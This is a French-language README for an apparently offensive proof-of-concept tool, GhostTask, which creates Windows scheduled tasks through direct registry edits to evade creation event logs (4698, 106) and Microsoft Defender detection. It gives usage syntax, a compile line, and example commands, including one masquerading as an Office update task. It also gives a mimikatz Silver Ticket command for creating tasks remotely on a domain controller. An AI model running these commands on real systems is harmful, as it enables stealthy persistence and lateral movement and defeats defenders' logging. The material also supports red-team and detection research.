
Un outil utilise la manipulation directe du registre pour créer des tâches planifiées sans déclencher les journaux d'événements habituels.
Inspiré par les recherches de WithSecure sur la falsification des tâches planifiées, ils ont expliqué la faisabilité de créer une tâche planifiée uniquement via la manipulation des clés de registre. Une telle approche peut contourner la génération des journaux d'événements de création de tâches planifiées, comme 4698 et 106, offrant ainsi une méthode plus furtive pour établir une persistance. À la lumière de ces informations, j'ai développé cette POC pour démontrer la création de tâches planifiées par manipulation directe du registre.
La création d'une nouvelle tâche planifiée nécessite d'ajouter plusieurs clés de registre et leurs valeurs associées. Comme la structure des valeurs de registre relatives aux tâches planifiées n'est pas documentée, ma méthodologie pour construire ces structures reposait principalement sur des essais et erreurs, guidés par des comparaisons avec les valeurs de registre de tâches planifiées légitimes. De plus, je me suis également référé aux interfaces du fichier d'en-tête Taskschd.h et j'ai largement tiré parti de l'analyse du registre Windows de Cyber.WTF – Épisode d'aujourd'hui : Tâches. Ces recherches ont été précieuses pour m'aider à formuler la structure de chaque valeur de registre, comme Triggers, Actions et DynamicInfo, essentielles à la construction d'une tâche planifiée fonctionnelle.
L'outil offre les fonctionnalités suivantes :
BruteRatel's memexec).*Remarque :
ScheduledTaskCreated) ne sera généré dans MDE (Microsoft Defender pour point de terminaison)Usage: GhostTask.exe <nom_hôte/localhost> <opération> <nom_tâche> <programme> <argument> <nom_utilisateur> <type_planification> <temps/seconde> <jour>
- nom_hôte/localhost : Nom de l'ordinateur distant ou "localhost".
- opération : add/delete
- add : Créer ou modifier une tâche planifiée en utilisant uniquement les clés de registre. Nécessite le redémarrage du service "Planificateur" pour charger la définition de la tâche.
- delete : Supprimer une tâche planifiée. Nécessite le redémarrage du service "Planificateur" pour décharger la tâche.
- nom_tâche : Nom de la tâche planifiée.
- programme : Programme à exécuter.
- argument : Arguments du programme.
- nom_utilisateur : Compte utilisateur sous lequel la tâche planifiée s'exécutera.
- type_planification : Déclencheurs pris en charge : second, daily, weekly et logon.
- temps/seconde (applicable pour les déclencheurs 'second', 'daily' et 'weekly') :
- Pour le déclencheur 'second' : Spécifiez la fréquence en secondes pour l'exécution de la tâche.
- Pour les déclencheurs 'daily' et 'weekly' : Spécifiez l'heure exacte (ex : 22:30) pour l'exécution de la tâche.
- jour (applicable pour le déclencheur 'weekly') : Jours d'exécution de la tâche planifiée (ex : monday, thursday).
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

Comme indiqué dans le blog de WithSecure (section Extra : Mouvement latéral), cette technique peut être utilisée pour créer à distance une nouvelle tâche planifiée avec un Silver Ticket spécialement conçu.
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
Créez une nouvelle tâche planifiée à distance sur le serveur DC01 qui lance notepad.exe tous les jours à 15h19 :
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
